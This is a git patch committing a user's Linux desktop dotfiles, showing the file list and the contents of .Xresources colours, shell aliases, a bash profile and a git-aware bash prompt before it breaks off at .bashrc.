From 957a4eb474bdb84e7921609a5cecd81e88198380 Mon Sep 17 00:00:00 2001 From: VectorKappa Date: Tue, 14 May 2024 16:41:00 +0200 Subject: [PATCH] Initial Commit, move from a symlink farm to yadm --- .Xresources | 40 + .aliases | 98 + .bash_profile | 63 + .bash_prompt | 42 + .bashrc | 6 + .config/CAPRINE_custom.css | 36 + .../Catppuccin-Macchiato-Red.kvconfig | 466 +++ .../Catppuccin-Macchiato-Red.svg | 1958 +++++++++ .../Nordic-Darker-Solid#.kvconfig | 497 +++ .config/Kvantum/kvantum.kvconfig | 2 + .config/alacritty/alacritty.yml | 220 + .config/alacritty/colors.yml | 58 + .config/bat/config | 25 + .config/bspwm/autostart | 98 + .config/bspwm/bspwmrc | 123 + .config/dunst/dunstrc | 472 +++ .config/espanso/config/default.yml | 40 + .config/espanso/match/base.yml | 71 + .../match/packages/accented-words/LICENSE | 21 + .../match/packages/accented-words/README.md | 24 + .../packages/accented-words/_manifest.yml | 7 + .../packages/accented-words/_pkgsource.yml | 2 + .../match/packages/accented-words/package.yml | 252 ++ .../packages/actually-all-emojis/README.md | 14 + .../actually-all-emojis/_manifest.yml | 7 + .../actually-all-emojis/_pkgsource.yml | 2 + .../packages/actually-all-emojis/package.yml | 3707 +++++++++++++++++ .../espanso/match/packages/dadjoke/LICENSE | 21 + .../espanso/match/packages/dadjoke/README.md | 20 + .../match/packages/dadjoke/_manifest.yml | 7 + .../match/packages/dadjoke/_pkgsource.yml | 2 + .../match/packages/dadjoke/package.yml | 8 + .../packages/double-stroke-letters/LICENSE | 21 + .../packages/double-stroke-letters/README.md | 78 + .../double-stroke-letters/_manifest.yml | 7 + .../double-stroke-letters/_pkgsource.yml | 2 + .../double-stroke-letters/package.yml | 109 + .../packages/double-stroke-numbers/LICENSE | 21 + .../packages/double-stroke-numbers/README.md | 36 + .../double-stroke-numbers/_manifest.yml | 7 + .../double-stroke-numbers/_pkgsource.yml | 2 + .../double-stroke-numbers/package.yml | 25 + .../match/packages/encircled-numbers/LICENSE | 21 + .../packages/encircled-numbers/README.md | 105 + .../packages/encircled-numbers/_manifest.yml | 7 + .../packages/encircled-numbers/_pkgsource.yml | 2 + .../packages/encircled-numbers/package.yml | 153 + .../match/packages/espanso-dice/README.md | 16 + .../match/packages/espanso-dice/_manifest.yml | 7 + .../packages/espanso-dice/_pkgsource.yml | 2 + .../match/packages/espanso-dice/package.yml | 210 + .../packages/espanso-fractions/README.md | 37 + .../packages/espanso-fractions/_manifest.yml | 7 + .../packages/espanso-fractions/_pkgsource.yml | 2 + .../packages/espanso-fractions/package.yml | 37 + .../match/packages/foreign-thanks/LICENSE | 21 + .../match/packages/foreign-thanks/README.md | 72 + .../packages/foreign-thanks/_manifest.yml | 11 + .../packages/foreign-thanks/_pkgsource.yml | 2 + .../match/packages/foreign-thanks/package.yml | 141 + .../packages/greek-letters-improved/LICENSE | 21 + .../packages/greek-letters-improved/README.md | 59 + .../greek-letters-improved/_manifest.yml | 8 + .../greek-letters-improved/_pkgsource.yml | 2 + .../greek-letters-improved/package.yml | 174 + .config/espanso/match/packages/hax/README.md | 5 + .../espanso/match/packages/hax/_manifest.yml | 6 + .../espanso/match/packages/hax/_pkgsource.yml | 2 + .../espanso/match/packages/hax/package.yml | 58 + .../espanso/match/packages/kaimoji/README.md | 1 + .../match/packages/kaimoji/_manifest.yml | 7 + .../match/packages/kaimoji/_pkgsource.yml | 2 + .../match/packages/kaimoji/package.yml | 27 + .../match/packages/math-symbols/LICENSE | 21 + .../match/packages/math-symbols/README.md | 48 + .../match/packages/math-symbols/_manifest.yml | 7 + .../packages/math-symbols/_pkgsource.yml | 2 + .../match/packages/math-symbols/package.yml | 135 + .config/espanso/match/packages/math/README.md | 1 + .../espanso/match/packages/math/_manifest.yml | 7 + .../match/packages/math/_pkgsource.yml | 2 + .../espanso/match/packages/math/package.yml | 62 + .../match/packages/script-letters/LICENSE | 21 + .../match/packages/script-letters/README.md | 130 + .../packages/script-letters/_manifest.yml | 7 + .../packages/script-letters/_pkgsource.yml | 2 + .../match/packages/script-letters/package.yml | 213 + .../match/packages/supersubscript/README.md | 1 + .../packages/supersubscript/_manifest.yml | 7 + .../packages/supersubscript/_pkgsource.yml | 2 + .../match/packages/supersubscript/package.yml | 326 ++ .config/espanso/match/packages/wtc/LICENSE | 9 + .config/espanso/match/packages/wtc/README.md | 7 + .../espanso/match/packages/wtc/_manifest.yml | 7 + .../espanso/match/packages/wtc/_pkgsource.yml | 2 + .../espanso/match/packages/wtc/package.yml | 8 + .config/espanso/match/packages/wttr/LICENSE | 21 + .config/espanso/match/packages/wttr/README.md | 29 + .../espanso/match/packages/wttr/_manifest.yml | 7 + .../match/packages/wttr/_pkgsource.yml | 2 + .../espanso/match/packages/wttr/package.yml | 26 + .config/feh/themes | 1 + .config/gtk-3.0/settings.ini | 17 + .config/htop/htoprc | 46 + .config/hypr/autostart.sh | 8 + .config/hypr/hyprland.conf | 231 + .config/jgmenu/append.csv | 9 + .config/jgmenu/jgmenurc | 74 + .config/jgmenu/prepend.csv | 4 + .config/jrnl/jrnl.yaml | 19 + .config/kitty/current-theme.conf | 80 + .config/kitty/kitty.conf | 2458 +++++++++++ .config/kitty/kitty.conf.bak | 2453 +++++++++++ .config/libvirt/libvirt.conf | 1 + .config/mimeapps.list | 41 + .config/nvim/ginit.vim | 24 + .config/nvim/init.vim | 253 ++ .config/picom/black_to_transparent.frag | 22 + .config/picom/catppuccin.glsl | 65 + .config/picom/green_to_jerma.frag | 22 + .config/picom/nordify.glsl | 65 + .config/picom/picom.conf | 392 ++ .config/picom/sphere.glsl | 372 ++ .config/picom/swizzle.glsl | 33 + .config/polybar/config | 491 +++ .config/polybar/config.save | 384 ++ .config/polybar/config.save.1 | 405 ++ .config/polybar/launch.sh | 19 + .config/polybar/macchiato.ini | 39 + .config/ranger/commands.py | 62 + .config/ranger/commands_full.py | 1993 +++++++++ .config/ranger/rc.conf | 759 ++++ .config/ranger/rifle.conf | 284 ++ .config/ranger/scope.sh | 350 ++ .config/stalonetrayrc | 137 + .config/sxhkd/sxhkdrc | 394 ++ .config/task/.taskrc | 42 + .config/tint2/tint2rc | 265 ++ .config/ulauncher/DuckDuckGo-Logo.png | Bin 0 -> 17795 bytes .config/ulauncher/archlinux-icon.png | Bin 0 -> 74938 bytes .../com.github.brpaz.ulauncher-faker.db | Bin 0 -> 6 bytes .../com.github.brpaz.ulauncher-file-search.db | Bin 0 -> 138 bytes .../com.github.brpaz.ulauncher-lipsum.db | Bin 0 -> 6 bytes ...om.github.dcervenkov.ulauncher-z-search.db | Bin 0 -> 130 bytes .../com.github.dhelmr.ulauncher-tldr.db | Bin 0 -> 6 bytes .../com.github.elken.terminal-runner.db | Bin 0 -> 6 bytes .../com.github.friday.ulauncher-clipboard.db | Bin 0 -> 100 bytes .../com.github.isacikgoz.ukill.db | Bin 0 -> 6 bytes .../com.github.kbialek.ulauncher-bitwarden.db | Bin 0 -> 6 bytes .../com.github.munim.ulauncher-ip-lookup.db | Bin 0 -> 108 bytes ....github.rnairn01.ulauncher-meme-my-text.db | Bin 0 -> 6 bytes ...thub.sergius02.ulauncher-colorconverter.db | Bin 0 -> 6 bytes ...har.ulauncher-albert-calculate-anything.db | Bin 0 -> 472 bytes .../com.github.tjquillan.ulauncher-system.db | Bin 0 -> 6 bytes .../com.github.ulauncher.ulauncher-emoji.db | Bin 0 -> 6 bytes .../com.github.zensoup.ulauncher-unicode.db | Bin 0 -> 6 bytes .config/ulauncher/extensions.json | 247 ++ .config/ulauncher/settings.json | 12 + .config/ulauncher/shortcuts.json | 42 + .../Catppuccin-Macchiato-Round/generated.css | 11 + .../Catppuccin-Macchiato-Round/manifest.json | 12 + .../theme-gtk-3.20.css | 9 + .../Catppuccin-Macchiato-Round/theme.css | 88 + .config/ulauncher/user-themes/nord/README.md | 13 + .../ulauncher/user-themes/nord/generated.css | 11 + .../ulauncher/user-themes/nord/manifest.json | 12 + .../user-themes/nord/theme-gtk-3.20.css | 9 + .config/ulauncher/user-themes/nord/theme.css | 85 + .config/waybar/config | 180 + .config/waybar/launcher.sh | 10 + .config/waybar/macchiato.css | 38 + .config/waybar/style.css | 313 ++ .curlrc | 8 + .dir_colors | 256 ++ .editorconfig | 31 + .functions | 323 ++ .gdbinit | 1 + .gitconfig | 257 ++ .inputrc | 44 + .p10k.zsh | 1712 ++++++++ .pythonrc | 378 ++ .screenrc | 113 + .tmux.conf | 156 + .../sources_non_forked/ack.vim/doc/tags | 41 + .../sources_non_forked/auto-pairs/doc/tags | 21 + .../sources_non_forked/bufexplorer/doc/tags | 30 + .../sources_non_forked/ctrlp.vim/doc/tags | 112 + .../sources_non_forked/ctrlp.vim/doc/tags-cn | 113 + .../sources_non_forked/lightline.vim/doc/tags | 66 + .../sources_non_forked/nerdtree/doc/tags | 143 + .../sources_non_forked/rust.vim/doc/tags | 67 + .../sources_non_forked/tabular/doc/tags | 8 + .../sources_non_forked/vim-abolish/doc/tags | 13 + .../vim-addon-mw-utils/doc/tags | 6 + .../vim-coffee-script/doc/tags | 0 .../vim-commentary/doc/tags | 8 + .../sources_non_forked/vim-gitgutter/doc/tags | 68 + .../vim-indent-object/doc/tags | 9 + .../sources_non_forked/vim-lastplace/doc/tags | 3 + .../sources_non_forked/vim-markdown/doc/tags | 80 + .../vim-multiple-cursors/doc/tags | 19 + .../sources_non_forked/vim-ruby/doc/tags | 39 + .../sources_non_forked/vim-snipmate/doc/tags | 33 + .../sources_non_forked/vim-surround/doc/tags | 18 + .../sources_non_forked/vim-yankstack/doc/tags | 9 + .vimrc | 105 + .wgetrc | 40 + .zsh_compl/zoxide | 121 + .zshenv | 34 + .zshrc | 220 + 210 files changed, 29165 insertions(+) create mode 100644 .Xresources create mode 100644 .aliases create mode 100644 .bash_profile create mode 100644 .bash_prompt create mode 100644 .bashrc create mode 100644 .config/CAPRINE_custom.css create mode 100644 .config/Kvantum/Catppuccin-Macchiato-Red/Catppuccin-Macchiato-Red.kvconfig create mode 100644 .config/Kvantum/Catppuccin-Macchiato-Red/Catppuccin-Macchiato-Red.svg create mode 100644 .config/Kvantum/Nordic-Darker-Solid#/Nordic-Darker-Solid#.kvconfig create mode 100644 .config/Kvantum/kvantum.kvconfig create mode 100644 .config/alacritty/alacritty.yml create mode 100644 .config/alacritty/colors.yml create mode 100644 .config/bat/config create mode 100755 .config/bspwm/autostart create mode 100755 .config/bspwm/bspwmrc create mode 100644 .config/dunst/dunstrc create mode 100644 .config/espanso/config/default.yml create mode 100644 .config/espanso/match/base.yml create mode 100644 .config/espanso/match/packages/accented-words/LICENSE create mode 100644 .config/espanso/match/packages/accented-words/README.md create mode 100644 .config/espanso/match/packages/accented-words/_manifest.yml create mode 100644 .config/espanso/match/packages/accented-words/_pkgsource.yml create mode 100644 .config/espanso/match/packages/accented-words/package.yml create mode 100644 .config/espanso/match/packages/actually-all-emojis/README.md create mode 100644 .config/espanso/match/packages/actually-all-emojis/_manifest.yml create mode 100644 .config/espanso/match/packages/actually-all-emojis/_pkgsource.yml create mode 100644 .config/espanso/match/packages/actually-all-emojis/package.yml create mode 100644 .config/espanso/match/packages/dadjoke/LICENSE create mode 100644 .config/espanso/match/packages/dadjoke/README.md create mode 100644 .config/espanso/match/packages/dadjoke/_manifest.yml create mode 100644 .config/espanso/match/packages/dadjoke/_pkgsource.yml create mode 100644 .config/espanso/match/packages/dadjoke/package.yml create mode 100644 .config/espanso/match/packages/double-stroke-letters/LICENSE create mode 100644 .config/espanso/match/packages/double-stroke-letters/README.md create mode 100644 .config/espanso/match/packages/double-stroke-letters/_manifest.yml create mode 100644 .config/espanso/match/packages/double-stroke-letters/_pkgsource.yml create mode 100644 .config/espanso/match/packages/double-stroke-letters/package.yml create mode 100644 .config/espanso/match/packages/double-stroke-numbers/LICENSE create mode 100644 .config/espanso/match/packages/double-stroke-numbers/README.md create mode 100644 .config/espanso/match/packages/double-stroke-numbers/_manifest.yml create mode 100644 .config/espanso/match/packages/double-stroke-numbers/_pkgsource.yml create mode 100644 .config/espanso/match/packages/double-stroke-numbers/package.yml create mode 100644 .config/espanso/match/packages/encircled-numbers/LICENSE create mode 100644 .config/espanso/match/packages/encircled-numbers/README.md create mode 100644 .config/espanso/match/packages/encircled-numbers/_manifest.yml create mode 100644 .config/espanso/match/packages/encircled-numbers/_pkgsource.yml create mode 100644 .config/espanso/match/packages/encircled-numbers/package.yml create mode 100644 .config/espanso/match/packages/espanso-dice/README.md create mode 100644 .config/espanso/match/packages/espanso-dice/_manifest.yml create mode 100644 .config/espanso/match/packages/espanso-dice/_pkgsource.yml create mode 100644 .config/espanso/match/packages/espanso-dice/package.yml create mode 100644 .config/espanso/match/packages/espanso-fractions/README.md create mode 100644 .config/espanso/match/packages/espanso-fractions/_manifest.yml create mode 100644 .config/espanso/match/packages/espanso-fractions/_pkgsource.yml create mode 100644 .config/espanso/match/packages/espanso-fractions/package.yml create mode 100644 .config/espanso/match/packages/foreign-thanks/LICENSE create mode 100644 .config/espanso/match/packages/foreign-thanks/README.md create mode 100644 .config/espanso/match/packages/foreign-thanks/_manifest.yml create mode 100644 .config/espanso/match/packages/foreign-thanks/_pkgsource.yml create mode 100644 .config/espanso/match/packages/foreign-thanks/package.yml create mode 100644 .config/espanso/match/packages/greek-letters-improved/LICENSE create mode 100644 .config/espanso/match/packages/greek-letters-improved/README.md create mode 100644 .config/espanso/match/packages/greek-letters-improved/_manifest.yml create mode 100644 .config/espanso/match/packages/greek-letters-improved/_pkgsource.yml create mode 100644 .config/espanso/match/packages/greek-letters-improved/package.yml create mode 100644 .config/espanso/match/packages/hax/README.md create mode 100644 .config/espanso/match/packages/hax/_manifest.yml create mode 100644 .config/espanso/match/packages/hax/_pkgsource.yml create mode 100644 .config/espanso/match/packages/hax/package.yml create mode 100644 .config/espanso/match/packages/kaimoji/README.md create mode 100644 .config/espanso/match/packages/kaimoji/_manifest.yml create mode 100644 .config/espanso/match/packages/kaimoji/_pkgsource.yml create mode 100644 .config/espanso/match/packages/kaimoji/package.yml create mode 100644 .config/espanso/match/packages/math-symbols/LICENSE create mode 100644 .config/espanso/match/packages/math-symbols/README.md create mode 100644 .config/espanso/match/packages/math-symbols/_manifest.yml create mode 100644 .config/espanso/match/packages/math-symbols/_pkgsource.yml create mode 100644 .config/espanso/match/packages/math-symbols/package.yml create mode 100644 .config/espanso/match/packages/math/README.md create mode 100644 .config/espanso/match/packages/math/_manifest.yml create mode 100644 .config/espanso/match/packages/math/_pkgsource.yml create mode 100644 .config/espanso/match/packages/math/package.yml create mode 100644 .config/espanso/match/packages/script-letters/LICENSE create mode 100644 .config/espanso/match/packages/script-letters/README.md create mode 100644 .config/espanso/match/packages/script-letters/_manifest.yml create mode 100644 .config/espanso/match/packages/script-letters/_pkgsource.yml create mode 100644 .config/espanso/match/packages/script-letters/package.yml create mode 100644 .config/espanso/match/packages/supersubscript/README.md create mode 100644 .config/espanso/match/packages/supersubscript/_manifest.yml create mode 100644 .config/espanso/match/packages/supersubscript/_pkgsource.yml create mode 100644 .config/espanso/match/packages/supersubscript/package.yml create mode 100644 .config/espanso/match/packages/wtc/LICENSE create mode 100644 .config/espanso/match/packages/wtc/README.md create mode 100644 .config/espanso/match/packages/wtc/_manifest.yml create mode 100644 .config/espanso/match/packages/wtc/_pkgsource.yml create mode 100644 .config/espanso/match/packages/wtc/package.yml create mode 100644 .config/espanso/match/packages/wttr/LICENSE create mode 100644 .config/espanso/match/packages/wttr/README.md create mode 100644 .config/espanso/match/packages/wttr/_manifest.yml create mode 100644 .config/espanso/match/packages/wttr/_pkgsource.yml create mode 100644 .config/espanso/match/packages/wttr/package.yml create mode 100644 .config/feh/themes create mode 100644 .config/gtk-3.0/settings.ini create mode 100644 .config/htop/htoprc create mode 100755 .config/hypr/autostart.sh create mode 100644 .config/hypr/hyprland.conf create mode 100644 .config/jgmenu/append.csv create mode 100644 .config/jgmenu/jgmenurc create mode 100644 .config/jgmenu/prepend.csv create mode 100644 .config/jrnl/jrnl.yaml create mode 100644 .config/kitty/current-theme.conf create mode 100644 .config/kitty/kitty.conf create mode 100644 .config/kitty/kitty.conf.bak create mode 100644 .config/libvirt/libvirt.conf create mode 100644 .config/mimeapps.list create mode 100644 .config/nvim/ginit.vim create mode 100644 .config/nvim/init.vim create mode 100644 .config/picom/black_to_transparent.frag create mode 100644 .config/picom/catppuccin.glsl create mode 100644 .config/picom/green_to_jerma.frag create mode 100644 .config/picom/nordify.glsl create mode 100644 .config/picom/picom.conf create mode 100644 .config/picom/sphere.glsl create mode 100644 .config/picom/swizzle.glsl create mode 100644 .config/polybar/config create mode 100644 .config/polybar/config.save create mode 100644 .config/polybar/config.save.1 create mode 100755 .config/polybar/launch.sh create mode 100644 .config/polybar/macchiato.ini create mode 100644 .config/ranger/commands.py create mode 100644 .config/ranger/commands_full.py create mode 100644 .config/ranger/rc.conf create mode 100644 .config/ranger/rifle.conf create mode 100755 .config/ranger/scope.sh create mode 100644 .config/stalonetrayrc create mode 100755 .config/sxhkd/sxhkdrc create mode 100644 .config/task/.taskrc create mode 100644 .config/tint2/tint2rc create mode 100755 .config/ulauncher/DuckDuckGo-Logo.png create mode 100644 .config/ulauncher/archlinux-icon.png create mode 100644 .config/ulauncher/ext_preferences/com.github.brpaz.ulauncher-faker.db create mode 100644 .config/ulauncher/ext_preferences/com.github.brpaz.ulauncher-file-search.db create mode 100644 .config/ulauncher/ext_preferences/com.github.brpaz.ulauncher-lipsum.db create mode 100644 .config/ulauncher/ext_preferences/com.github.dcervenkov.ulauncher-z-search.db create mode 100644 .config/ulauncher/ext_preferences/com.github.dhelmr.ulauncher-tldr.db create mode 100644 .config/ulauncher/ext_preferences/com.github.elken.terminal-runner.db create mode 100644 .config/ulauncher/ext_preferences/com.github.friday.ulauncher-clipboard.db create mode 100644 .config/ulauncher/ext_preferences/com.github.isacikgoz.ukill.db create mode 100644 .config/ulauncher/ext_preferences/com.github.kbialek.ulauncher-bitwarden.db create mode 100644 .config/ulauncher/ext_preferences/com.github.munim.ulauncher-ip-lookup.db create mode 100644 .config/ulauncher/ext_preferences/com.github.rnairn01.ulauncher-meme-my-text.db create mode 100644 .config/ulauncher/ext_preferences/com.github.sergius02.ulauncher-colorconverter.db create mode 100644 .config/ulauncher/ext_preferences/com.github.tchar.ulauncher-albert-calculate-anything.db create mode 100644 .config/ulauncher/ext_preferences/com.github.tjquillan.ulauncher-system.db create mode 100644 .config/ulauncher/ext_preferences/com.github.ulauncher.ulauncher-emoji.db create mode 100644 .config/ulauncher/ext_preferences/com.github.zensoup.ulauncher-unicode.db create mode 100644 .config/ulauncher/extensions.json create mode 100644 .config/ulauncher/settings.json create mode 100644 .config/ulauncher/shortcuts.json create mode 100644 .config/ulauncher/user-themes/Catppuccin-Macchiato-Round/generated.css create mode 100644 .config/ulauncher/user-themes/Catppuccin-Macchiato-Round/manifest.json create mode 100644 .config/ulauncher/user-themes/Catppuccin-Macchiato-Round/theme-gtk-3.20.css create mode 100644 .config/ulauncher/user-themes/Catppuccin-Macchiato-Round/theme.css create mode 100644 .config/ulauncher/user-themes/nord/README.md create mode 100644 .config/ulauncher/user-themes/nord/generated.css create mode 100644 .config/ulauncher/user-themes/nord/manifest.json create mode 100644 .config/ulauncher/user-themes/nord/theme-gtk-3.20.css create mode 100644 .config/ulauncher/user-themes/nord/theme.css create mode 100644 .config/waybar/config create mode 100755 .config/waybar/launcher.sh create mode 100644 .config/waybar/macchiato.css create mode 100644 .config/waybar/style.css create mode 100644 .curlrc create mode 100644 .dir_colors create mode 100644 .editorconfig create mode 100644 .functions create mode 100644 .gdbinit create mode 100644 .gitconfig create mode 100644 .inputrc create mode 100644 .p10k.zsh create mode 100644 .pythonrc create mode 100644 .screenrc create mode 100644 .tmux.conf create mode 100644 .vim_runtime/sources_non_forked/ack.vim/doc/tags create mode 100644 .vim_runtime/sources_non_forked/auto-pairs/doc/tags create mode 100644 .vim_runtime/sources_non_forked/bufexplorer/doc/tags create mode 100644 .vim_runtime/sources_non_forked/ctrlp.vim/doc/tags create mode 100644 .vim_runtime/sources_non_forked/ctrlp.vim/doc/tags-cn create mode 100644 .vim_runtime/sources_non_forked/lightline.vim/doc/tags create mode 100644 .vim_runtime/sources_non_forked/nerdtree/doc/tags create mode 100644 .vim_runtime/sources_non_forked/rust.vim/doc/tags create mode 100644 .vim_runtime/sources_non_forked/tabular/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-abolish/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-addon-mw-utils/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-coffee-script/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-commentary/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-gitgutter/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-indent-object/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-lastplace/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-markdown/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-multiple-cursors/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-ruby/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-snipmate/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-surround/doc/tags create mode 100644 .vim_runtime/sources_non_forked/vim-yankstack/doc/tags create mode 100644 .vimrc create mode 100644 .wgetrc create mode 100644 .zsh_compl/zoxide create mode 100644 .zshenv create mode 100644 .zshrc diff --git a/.Xresources b/.Xresources new file mode 100644 index 0000000..daa1c60 --- /dev/null +++ b/.Xresources @@ -0,0 +1,40 @@ +URxvt.font: xft:SauceCodePro NFM:size=10:antialias=true:minspace=true +URxvt.boldFont: xft:SauceCodePro NFM:bold:size=10:antialias=true:minspace=true + +*.cursorColor: #939AB7 +*fading: 35 +*fadeColor: #6E738D +*background: #24273A +*foreground: #CAD3F5 + +! black +*color0: #494D64 +*color8: #5B6078 + +! red +*color1: #ED8796 +*color9: #ED8796 + +! green +*color2: #A6DA95 +*color10: #A6DA95 + +! yellow +*color3: #EED49F +*color11: #EED49F + +! blue +*color4: #8AADF4 +*color12: #8AADF4 + +! magenta +*color5: #F5BDE6 +*color13: #F5BDE6 + +! cyan +*color6: #8BD5CA +*color14: #8BD5CA + +! white +*color7: #B8C0E0 +*color15: #A5ADCB diff --git a/.aliases b/.aliases new file mode 100644 index 0000000..e35e3a9 --- /dev/null +++ b/.aliases @@ -0,0 +1,98 @@ +#!/bin/zsh + +alias cd="z" +# Easier navigation: .., ..., ...., ..... +alias ..="cd .." +alias cd..="cd .." +alias ...="cd ../.." +alias ....="cd ../../.." +alias .....="cd ../../../.." +alias ......="cd ../../../../.." + +##* Colours! +alias ls="command eza" +alias grep='grep --color=auto' +alias fgrep='fgrep --color=auto' +alias egrep='egrep --color=auto' + +# Shortcuts +alias g="git" +alias h="history" +alias j="jobs" + +# alternative to tail -f +alias lessf="less +F" + +# List all files colorized in long format +alias l="eza -G --icons" +alias ll="eza -l --icons" +alias lg="eza -lG" +alias lall="eza -lahF --icons --git" +alias lalg="eza -laGhF --icons --git" +alias latree="eza -laGghHT --git --icons" +# List all files colorized in long format, including dot files +alias la="eza -la" + +# List only directories +alias lsd="eza -laD" + +# Enable aliases to be sudo’ed +alias sudo='sudo ' + +# Get week number +alias week='date +%V' + +# Stopwatch +alias timer='echo "Timer started. Stop with Ctrl-D." && date && time cat && date' + +# Dice for the undecided +alias dice='echo $[ 1 + $RANDOM % 6 ]' + +# IP addresses +alias myip="dig +short myip.opendns.com @resolver1.opendns.com" +alias ips="ifconfig -a | grep -o 'inet6\? \(addr:\)\?\s\?\(\(\([0-9]\+\.\)\{3\}[0-9]\+\)\|[a-fA-F0-9:]\+\)' | awk '{ sub(/inet6? (addr:)? ?/, \"\"); print }'" + +# Canonical hex dump; some systems have this symlinked +command -v hd > /dev/null || alias hd="hexdump -C" + +# URL-encode strings +alias urlencode='python -c "import sys, urllib as ul; print ul.quote_plus(sys.argv[1]);"' + +# Ring the terminal bell +alias ding="tput bel" + +# Backs files up using rsync, not preserving linux perms (for external drives) +alias backup="rsync -vrltD --progress --stats" +# Intuitive map function +# For example, to list all directories that contain a certain file: +# find . -name .gitattributes | map dirname +alias map="xargs -n1" + +# Reload the shell (i.e. invoke as a login shell) +alias reload="exec $SHELL -l" + +alias p="ping 1.1.1.1" #See if connection works +alias pp="prettyping 1.1.1.1" + +alias path='echo -e ${PATH//:/\\n}' #Print each PATH entry on a separate line +alias mkdir='mkdir -pv' #Intuitive mkdir +# get top process eating memory +alias psmem='ps -e -orss=,args= | sort -b -k1 -nr' +alias psmem10='ps -e -orss=,args= | sort -b -k1 -nr | head -10' +# get top process eating cpu if not work try excute : export LC_ALL='C' +alias pscpu='ps -e -o pcpu,cpu,nice,state,cputime,args|sort -k1,1n -nr' +alias pscpu10='ps -e -o pcpu,cpu,nice,state,cputime,args|sort -k1,1n -nr | head -10' +# top10 of the history +alias hist10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10' +alias cantbebothered='git add -a && git commit -m $(curl -s http://whatthecommit.com/index.txt | uwuify | cowsay -f $(ls /usr/share/cowsay/cows/ | shuf -n1) | lolcat ) && git push' +alias please='sudo' +alias simon-says='sudo' +alias runhis="anyframe-widget-execute-history" + +alias gitup='for dir in $(find . -name ".git"); do cd ${dir%/*}; pwd ; git pull ; cd -; done' + +# Default xclip to use Ctrl-c/Ctrl-v clipboard +alias xclip="xclip -selection c" +alias :q="exit" +alias mirrorup='sudo reflector --verbose -c Poland -c Germany -c France -l 25 -a 2 -p https --sort rate --save /etc/pacman.d/mirrorlist' +alias lock="swaylock --screenshots --clock --indicator --indicator-radius 100 --indicator-thickness 7 --effect-blur 7x5 --effect-vignette 0.5:0.5 --ring-color bb00cc --key-hl-color 880033 --line-color 00000000 --inside-color 00000088 --separator-color 00000000 --grace 2 --fade-in 0.2" diff --git a/.bash_profile b/.bash_profile new file mode 100644 index 0000000..adec905 --- /dev/null +++ b/.bash_profile @@ -0,0 +1,63 @@ +# Add `~/bin` to the `$PATH` +export PATH="$HOME/bin:$PATH"; + +# Load the shell dotfiles, and then some: +# * ~/.path can be used to extend `$PATH`. +# * ~/.extra can be used for other settings you don’t want to commit. +for file in ~/.{path,bash_prompt,exports,aliases,functions,extra}; do + [ -r "$file" ] && [ -f "$file" ] && source "$file"; +done; +unset file; + + +# Case-insensitive globbing (used in pathname expansion) +shopt -s nocaseglob; + +# Append to the Bash history file, rather than overwriting it +shopt -s histappend; + +# Autocorrect typos in path names when using `cd` +shopt -s cdspell; + +# Enable some Bash 4 features when possible: +# * `autocd`, e.g. `**/qux` will enter `./foo/bar/baz/qux` +# * Recursive globbing, e.g. `echo **/*.txt` +for option in autocd globstar; do + shopt -s "$option" 2> /dev/null; +done; + +# timestamps for later analysis. www.debian-administration.org/users/rossen/weblog/1 +export HISTTIMEFORMAT='%F %T ' + +# keep history up to date, across sessions, in realtime +# http://unix.stackexchange.com/a/48113 +export HISTCONTROL=ignoredups:erasedups # no duplicate entries +export HISTSIZE=100000 # big big history (default is 500) +export HISTFILESIZE=$HISTSIZE # big big history +which shopt > /dev/null 2>&1 && shopt -s histappend # append to history, don't overwrite it + +# ^ the only downside with this is [up] on the readline will go over all history not just this bash session. + +# Save and reload the history after each command finishes +export PROMPT_COMMAND="history -a; history -c; history -r; $PROMPT_COMMAND" + +# mc theme +export MC_SKIN=$HOME/.mc/solarized.ini + +# Add tab completion for many Bash commands +if [ -f "$HOME/usr/share/bash-completion" ]; then + source "$HOME/usr/share/bash-completion"; +fi; + +# Enable tab completion for `g` by marking it as an alias for `git` +if type _git &> /dev/null && [ -f "$HOME/usr/etc/bash_completion.d/git-completion.bash" ]; then + complete -o default -o nospace -F _git g; +fi; + +# Add tab completion for SSH hostnames based on ~/.ssh/config, ignoring wildcards +[ -e "$HOME/.ssh/config" ] && complete -o "default" -o "nospace" -W "$(grep "^Host" ~/.ssh/config | grep -v "[?*]" | cut -d " " -f2- | tr ' ' '\n')" scp sftp ssh; + + +[ -e "$HOME/.z.sh" ] && . $HOME/.z.sh + +true diff --git a/.bash_prompt b/.bash_prompt new file mode 100644 index 0000000..9306c73 --- /dev/null +++ b/.bash_prompt @@ -0,0 +1,42 @@ +#!/usr/bin/env bash + + +prompt_git_and_status() { + local ps1_exit=$? + local s=''; + local branchName=''; + + if [ $ps1_exit -eq 0 ]; then + ps1_status="${3}" + else + ps1_status="${4}" + fi + + # Check if the current directory is in a Git repository. + if [ $(git rev-parse --is-inside-work-tree &>/dev/null; echo "${?}") == '0' ]; then + + dirty=$(git diff --quiet --ignore-submodules HEAD &>/dev/null; [ $? -eq 1 ]&& echo -e "*") + branchName=`git symbolic-ref -q --short HEAD` + + printf "%s" "${1}${branchName}${2}${dirty} " + fi; + printf "%s" "${ps1_status}\$" +} + +# Set the terminal title to the current working directory. +PS1="\[\033]0;\W\007\]"; # working directory base name +#PS1+="\[${bold}\]"; +#PS1+="\[${userStyle}\]\u"; # username +#PS1+="\[${white}\]@"; +#PS1+="\[${hostStyle}\]\h"; # host +#PS1+="\[${white}\] : "; +PS1+="\[${green}\]\w"; # working directory full path +PS1+="\$(prompt_git_and_status \"\[${white}\] on \[${violet}\]\" \"\[${blue}\]\" \"\[${white}\]\" \"\[${red}\]\")"; # Git repository details and $ +PS1+=" \[${reset}\]"; # and reset color +export PS1; + +PS2="\[${yellow}\]→ \[${reset}\]"; +export PS2; + +# hack: fix slow startup of mc +alias mc="PS1= PROMPT_COMMAND= mc" diff --git a/.bashrc b/.bashrc new file mode 100644 index 0000000..853fd48 --- /dev/null +++ b/.bashrc @@ -0,0 +1,6 